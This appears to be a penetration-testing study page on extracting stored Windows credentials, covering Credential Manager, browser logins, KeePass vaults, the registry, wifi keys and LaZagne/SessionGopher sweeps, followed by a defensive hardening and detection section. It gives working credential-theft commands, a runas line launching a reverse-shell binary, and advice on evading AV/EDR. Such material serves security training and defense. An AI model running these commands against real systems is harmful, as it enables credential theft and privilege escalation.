Stored Credentials

TL;DR

Beyond loose files (credential hunting), applications and Windows itself keep secrets in structured stores - the Credential Manager, browser login databases, password managers, the registry, the wireless profile store. Some you can decrypt in your current user context (DPAPI does the work for you); some you crack offline; some you just use without ever seeing the plaintext. Any recovered secret is a candidate for reuse against a higher-privileged local or domain account.

# Windows Credential Manager - list, then reuse without seeing plaintext
cmdkey /list
runas /savecred /user:DOMAIN\bob "C:\Windows\System32\cmd.exe /c <payload>"

# Saved browser logins (DPAPI, current user)
.\SharpChrome.exe logins /unprotect

# Registry cleartext
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"    # AutoLogon
reg query "HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions" /s                   # PuTTY proxy pw

# Saved wifi keys (local admin)
netsh wlan show profiles
netsh wlan show profile name="example_corp" key=clear

# Catch-all sweeps
.\lazagne.exe all
Import-Module .\SessionGopher.ps1; Invoke-SessionGopher -Target <host>

Success indicator: a cleartext credential (or a cracked password / usable saved session) that authenticates as a different, more-privileged principal - verified with runas, RDP, WinRM, or the target service.

Windows Credential Manager (cmdkey / runas)

cmdkey lists credentials the user saved for other hosts - RDP targets, network shares, generic app logins. These are DPAPI-protected, so you don’t get the plaintext from cmdkey, but you can use them:

cmdkey /list
    Target: LegacyGeneric:target=TERMSRV/SQL01
    Type: Generic
    User: example\bob

Mind the entry type - it determines what you can do with it:

• A LegacyGeneric:target=TERMSRV/<host> entry is scoped to the RDP client (mstsc): connecting to that host auto-authenticates as the stored user. It is not an interactive-logon credential, so runas /savecred will not use it (that command still prompts for the password).
• A Domain:interactive=<DOMAIN>\<user> entry is the one runas /savecred looks up. When such an entry exists, you can reuse the saved secret to run anything as that user, no password needed:

runas /savecred /user:example\bob "C:\Windows\System32\cmd.exe /c C:\temp\rev.exe"

So cmdkey /list showing only a TERMSRV/... entry buys you an RDP session as that user, not a runas shell - check which type you actually have.

To recover the actual plaintext (to reuse elsewhere), you need the user’s DPAPI context - mimikatz dpapi::cred / sekurlsa::dpapi, or SharpDPAPI, as that user or as SYSTEM.

Saved browser logins

Browsers have historically stored site logins encrypted with DPAPI (and, in later Chrome, an AES state key that is itself DPAPI-wrapped) - so a process running as the logged-in user could decrypt them. SharpChrome (part of SharpDPAPI) handles the state-key unwrap and prints cleartext:

.\SharpChrome.exe logins /unprotect
# --- Chrome Credential (Path: ...\User Data\Default\Login Data) ---
# origin_url,username,password
# https://vc01.example.local/,[email protected],Welcome1

cookies /unprotect similarly dumps session cookies (useful for session hijacking where the password has MFA).

Caution

App-Bound Encryption breaks the simple path on current Chrome. From Chrome 127 (2024) on supported Windows, cookies - and increasingly logins - are protected by App-Bound Encryption (ABE), which deliberately stops another process running as the same user from decrypting them through ordinary DPAPI. So the /unprotect flow above reliably recovers only legacy DPAPI-backed stores (older profiles, older Chromium builds, and some non-Chrome Chromium browsers); against a current Chrome profile you need ABE-aware tooling or to run in the browser’s own context. Decrypting these stores is also not silent (it touches the DPAPI masterkey and the login DB), but see the detection note below - don’t rely on a fixed list of event IDs.

Password managers (KeePass, offline cracking)

Enterprise password managers - KeePass, 1Password, Thycotic, CyberArk - are high-value: a single vault, especially an IT or departmental one, can hand you admin over servers, network gear, and databases. KeePass stores its vault locally as a .kdbx file protected by a master password; find one on a host or share and you can crack it offline.

Extract the master-password hash with keepass2john, then crack with Hashcat mode 13400:

keepass2john EXAMPLE_Help_Desk.kdbx > keepass.hash
# EXAMPLE_Help_Desk:$keepass$*2*60000*222*...*...     ← note the "name:" prefix

# --username tells Hashcat to treat everything before the first ':' as a username
# and ignore it; without it, Hashcat rejects the line with "Signature unmatched"
hashcat -m 13400 --username keepass.hash /usr/share/wordlists/rockyou.txt
# ...$keepass$*2*60000*...:panther1          ← master password cracked

Open the vault with the cracked master password to recover everything inside. (A .kdbx protected additionally by a key file can’t be cracked with the password alone - you need that file too; hunt for the .key/.keyx alongside it.)

Cleartext passwords in the registry

Some Windows features and apps write passwords to the registry in cleartext. LaZagne finds these, but enumerate manually too.

Windows AutoLogon

AutoLogon stores the auto-logon account’s password in plaintext under a key standard users can read:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
    AutoAdminLogon    REG_SZ    1
    DefaultUserName   REG_SZ    student
    DefaultPassword   REG_SZ    Welcome1!

AutoAdminLogon = 1 with a DefaultPassword present is the win. (Sysinternals Autologon.exe stores the password as an LSA secret instead of cleartext - so a host configured that way shows no DefaultPassword here, and the secret must be pulled from LSA.)

PuTTY saved proxy credentials

A PuTTY session configured with a proxy saves the proxy username and password in cleartext under the configuring user’s hive. Enumerate sessions, then read the one you want:

reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions
reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\kali%20ssh
    ProxyUsername    REG_SZ    administrator
    ProxyPassword    REG_SZ    S3cr3tP@ss!

These keys are ACL’d to the user who saved them - you see them in your own HKCU, or, as admin, under that user’s hive in HKEY_USERS. Admins sometimes save their own credentials in a proxy config set up for a standard user, so the recovered password may be far more privileged than the host.

Saved wireless keys

With local admin on a workstation that has a wireless adapter, recover pre-shared keys for networks it has joined - occasionally a route onto a separate corporate wireless segment:

netsh wlan show profiles
netsh wlan show profile name="example_corp" key=clear
    ...
    Key Content   : EXAMPLEWIFI-CORP123908!

key=clear requires administrator; without it the key is withheld.

Catch-all tool sweeps

When the targeted checks don’t land, the broad tools sweep dozens of applications at once.

• LaZagne - lazagne.exe all pulls stored credentials from browsers, mail clients, databases, sysadmin tools, wifi, and Windows stores (Credman, DPAPI, LSA secrets, AutoLogon). Scope to a module (lazagne.exe browsers) to stay quieter. Output to text or JSON.

• SessionGopher - Invoke-SessionGopher reads remote-access session data from the registry, but mind what it actually recovers: it decrypts saved passwords for WinSCP, FileZilla, and SuperPuTTY, whereas for PuTTY and RDP it returns only session metadata (host, and for RDP a username hint) - PuTTY doesn’t store a password to recover. It reads the HKEY_USERS hives currently loaded, so as your own user it sees your sessions and as local admin it covers the profiles loaded at that moment, not every account that has ever logged on - a clean result isn’t proof there are no saved sessions. Can also crawl drives for .ppk, .rdp, and .sdtid files.

  Import-Module .\SessionGopher.ps1
  Invoke-SessionGopher -Target <hostname>      # local host is a valid target

• MailSniper - on a domain-joined host with the user’s Exchange mailbox, searches their email for “pass”, “cred”, etc. Mail is an underrated credential store.

Note

These tools are heavily signatured - rename, recompile, or fall back to the manual registry/file techniques above when AV/EDR detection is a concern. LaZagne in particular touches many sensitive stores and is loud.

Defense

• Prefer Windows Hello for Business / managed identities over saved passwords; where Credential Manager is used, accept that any process as that user can reuse the entries.
• Never enable AutoLogon with a cleartext DefaultPassword; if auto-logon is unavoidable, use Sysinternals Autologon.exe (LSA secret) and restrict the account’s rights.
• Protect KeePass vaults with a key file and a strong master password, and keep .kdbx files off shared/world-readable locations where they can be exfiltrated and cracked offline.
• Enforce strong wireless PSKs or move to 802.1X so a recovered key isn’t a standing network credential.
• Credential-store access leaves telemetry only if you configure it: enable process-creation auditing with command line (Event ID 4688) to catch SharpChrome/LaZagne/SessionGopher invocations, enable the Microsoft-Windows-Crypto-DPAPI/Debug channel (Event ID 16385) for DPAPI masterkey use, and put a SACL on the browser Login Data/Local State files for object-access events. Treat these as signals to correlate - process creation near a DPAPI masterkey read near a login-DB open - not as standalone proof, and don’t look for Event ID 4983 here (that’s an IPsec negotiation failure, unrelated to credential access).

Related

• Credential hunting - the file-at-rest half of the same job (config files, history, Sticky Notes, shares)
• Initial enumeration - flags which browsers, password managers, and remote-access tools are installed to target here
• SeDebugPrivilege - dumping live credentials from LSASS, the in-memory counterpart to these at-rest stores
• Backup Operators - extracting the local SAM for offline hash cracking